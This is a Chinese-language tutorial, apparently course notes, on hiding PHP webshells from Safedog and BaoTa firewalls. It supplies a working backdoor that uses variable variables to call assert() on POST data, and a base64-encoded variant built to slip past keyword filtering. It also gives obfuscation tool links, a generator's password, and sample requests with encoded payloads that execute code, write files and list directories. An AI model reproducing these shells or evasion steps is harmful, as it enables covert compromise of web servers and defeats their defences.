
实例演示:
(1)过Safedog-手写覆盖变异+参数传递简易代码绕过-代码层
拼接原有后门:
上面的变体相当于:
<?php
$a = $_GET[‘x’];
$$a = $_GET[‘y’];
$b($_POST[‘z’]);
//?x=b&y=assert
//$a $$a=assert=$b
//assert($_POST[‘chopper’])
?>
$$是什么?
也就说:使用$var储存了一个String类型的值“PHP”,然后使用引用变量$$var储存一个String类型的值“PHP中文网”。
我们使用上面的后门进行测试:
但是现在有一个问题,采取上面的方式会被BT拦截,:因为宝塔有过滤机制:
所以采用编码绕过,在一些常见的waf例如宝塔对传入的参数会进行判断如果是包含类似phpinfo()这样的风险代码会被拦截,这个时候我们可以采用对代码进行编码的方式进行参数。——使用的时候要去掉注释!
<?php
$a = $_GET[‘x’];
$$a = $_GET[‘y’];
$b(base64_decode($_POST[‘z’]));
//?x=b&y=assert
//$a $$a=assert=$b
//assert($_POST[‘chopper’])
?>
此外对对PHPinfo();进行base64编码为cGhwaW5mbygpOw==
正常绕过BT:
(2)基于接口类加密混淆代码绕过-代码层:
第一种方法:
下载地址:
https://github.com/djunny/enphp
目标加密的代码,不要将code_test的文件移到或者删除很有可能会导致使用失败。
将要加密的代码放到:

text.php:
然后再enphp-master启用终端:然后将php.exe拖进来—-php.exe在下面的路径:
运行如下命令:code_text.php
加密混淆结束:最终实验结论,这种不一定可行!
测试结果:成功可以过狗
第二种:借用在线API接口实现加密混淆:
如果上面的方式被安全狗杀掉,或者过不了宝塔的话,使用这个:
网址:
http://phpjiami.com/phpjiami.html

选择文件放上去,使用默认设置就很,点击确定即可!
第三种:异或加密Webshell-venom
https://pan.baidu.com/s/1msqO2kps139NNP9ZEIAVHw 提取码:
xiao

一键运行里面的python脚本:自动生成
使用后门的时候,根据提示在url处,必须存在id这个参数,具体自己随便定义,密码就是mr6:
另外我们在使用蚁剑进行连接的时候,需要使用base64拓展进行连接:
(3)各种webshell管理工具:
单双向加密传输的区别:
双向加密传输就是发包之前已经加密了,并且从服务器传回来的数据也是加密的.
单向加密—菜刀,蚁剑
双向加密:
但是使用冰蝎的webshell进行混淆加密,虽然过了waf,还是存在连接后门上的问题,所以接下来就要进行所谓的自己造轮子。
(4)自己造轮子—编写后门代码:
因为无论使用什么工具,他们的后门代码都很完备,涉及的从面很多,所以waf绕过的时候难免会有察觉,所以我们只需要实现简单的代表查看后门一类的即可。
http://test.xiaodi8.com/xx.php?x=b&y=assert
z=cGhwaW5mbygpOw== 执行代码
z=ZmlsZV9wdXRfY29udGVudHMoInRlc3QudHh0IiwiMSIpOw== 写入文件
z=dmFyX2R1bXAoc2NhbmRpcigiLiIpKTs= 读取文件

输入之后的效果:


